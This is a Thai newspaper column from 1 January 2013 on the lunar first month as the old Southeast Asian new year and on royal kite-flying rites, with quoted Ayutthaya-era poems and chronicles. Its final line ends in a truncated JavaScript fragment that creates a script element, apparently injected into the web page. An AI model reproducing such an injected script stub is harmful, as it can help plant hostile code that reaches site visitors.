มติชนรายวัน ฉบับประจำวันอังคารที่ 1 มกราคม 2556

 

          1 มกราคม 2556 ตรงกับปฏิทินจันทรคติเป็น แรม 4 ค่ำ เดือน 1

          นี่ยังอยู่ในเดือนอ้าย ขึ้นฤดูกาลใหม่ กับเปลี่ยนปีนักษัตรใหม่ ตามประเพณีดั้งเดิมดึกดำบรรพ์ของสุวรรณภูมิ รวมทั้งไทย

          สมมุติเรียกปีใหม่ ก็เป็นปีใหม่ไทย (และปีใหม่ลาว, กัมพูชา, พม่า, เวียดนาม, ฯลฯ) เสียยิ่งกว่าสงกรานต์ ตอนเมษายน ซึ่งเป็นของพราหมณ์ในอินเดีย ไม่เกี่ยวกับของใครในสุวรรณภูมิ

          เดือนอ้าย สมัยโบราณมีประเพณีเล่นว่าวเพื่อขอลมพัดให้พืชพันธุ์โดยเฉพาะข้าวในนาที่ออกรวงแก่เต็มที่จะได้สุก และน้ำลด ถึงเวลาเก็บเกี่ยว มีบอกในโคลงทวาทศมาส ยุคต้นอยุธยา ว่า

          ทุ่งนาแลข้าวเรื่อ         รวงหนา

          แล้วบอกในบทต่อไปอีกว่า

          ฤดูว่าวคว้าง            กลางหาว

          เห็นว่าวหว่างอกปลอม ว่าวขึ้น

          เล่นว่าวเป็นพิธีกรรมสำคัญของคนแต่ก่อน เพื่อขอความอุดมสมบูรณ์ให้ราชอาณาจักร จึงมีพระราชพิธีในราชสำนักอยุธยา ดังเจ้าฟ้ากุ้งมีพระนิพนธ์กาพย์ห่อโคลงนิราศธารโศก บทเดือนอ้ายว่า

          เดือนอ้ายผายกรุงท้าว           พิธีว่าวกล่าวกลแสดง

          เดือนนี้พิธีแคลง                    กลุ้มท้องฟ้าคลาอรไกล ฯ

          มฤคเศียรดลมาศกล้า            ลมแรง

          ว่าวง่าวพิธีแสดง                   แหล่งหล้า

          เรียกชื่อพิธีแขลง                  โดยที่

          สาวส่งขึ้นลอยฟ้า                 ร่ายร้องคนึงสาว ฯ

          ว่าวง่าว คือว่าวมีเสียงดัง (คำว่า ง่าว หรือ หง้าว ในภาษาลาวแปลว่ามีเสียงดัง)

         ชื่อแคลงหรือแกลงเป็นภาษาเขมร แปลว่าว่าว มีในพงศาวดารเมืองละแวก กล่าวถึงพระราชพิธีเดือนอ้าย (เดือนมิคสิร) ไว้ว่า “ให้เจ้าพนักงานแห่พระแกลง (ว่าว)………….พราหมณ์ปุโรหิตถวายพระแกลง (ว่าว) ให้ทรงบังเหิน (ชัก) ขึ้น”

          ในตำราพระราชพิธีเก่าครั้งกรุงศรีอยุธยา กำหนดว่าพระเจ้าแผ่นดินต้องเสด็จออกทำพิธีชักว่าวศักดิ์สิทธิ์เพื่อขอลมให้ราชอาณาจักรอุดมสมบูรณ์ว่า

          “ให้ชีพ่อพราหมณ์เชิญพระอิศวร พระนารายณ์ มาตั้งยังที่ แล้วให้เจ้าพนักงานเตรียมว่าวมาเตรียมไว้ในโรงราชพิธี ครั้นได้ฤกษ์ตีให้ประโคมปี่พาทย์ฆ้องไชย เชิญเสด็จออกทรงชักว่าว พราหมณ์เจ้าพนักงานเอาว่าวถวายให้ทรงชักตามบุราณประเพณี เพื่อทรงพระเจริญแล”

          เมื่อชักว่าวขึ้นแล้วยังไม่เอาลงจนกว่าจะพ้นฤดูเก็บเกี่ยว ดังมีในบันทึกของลาลูแบร์ บอกว่าสมัยสมเด็จพระนารายณ์ มี

          “ว่าวของสมเด็จพระเจ้ากรุงสยามปรากฏให้เห็นในท้องฟ้าทุกคืนตลอดระยะเวลา 2 เดือนของฤดูหนาว และทรงแต่งตั้งขุนนางให้คอยผลัดเปลี่ยนเวรถือสายป่านไว้”

          แล้วยังมีสมุดตำราหน้าที่ตำรวจในเวลาเมื่อพระเจ้าท้ายสระเสด็จทรงว่าวในวังหลวงไว้ด้วย

          สมเด็จฯ กรมพระยาดำรงราชานุภาพ ทรงมีพระนิพนธ์ไว้ในหนังสือตำนานวังหน้า ว่า ร.2 พระบาทสมเด็จพระพุทธเลิศหล้านภาลัยและสมเด็จกรมพระราชวังบวรมหาเสนานุรักษ์ พระอนุชาธิราช โปรดการทรงว่าวมาก

          ดังมีคำกล่าวคล้องจองกันว่า “วังหลวงทรงจุฬา วังหน้าทรงปักเป้า”var d=document;var s=d.createElement(‘script’);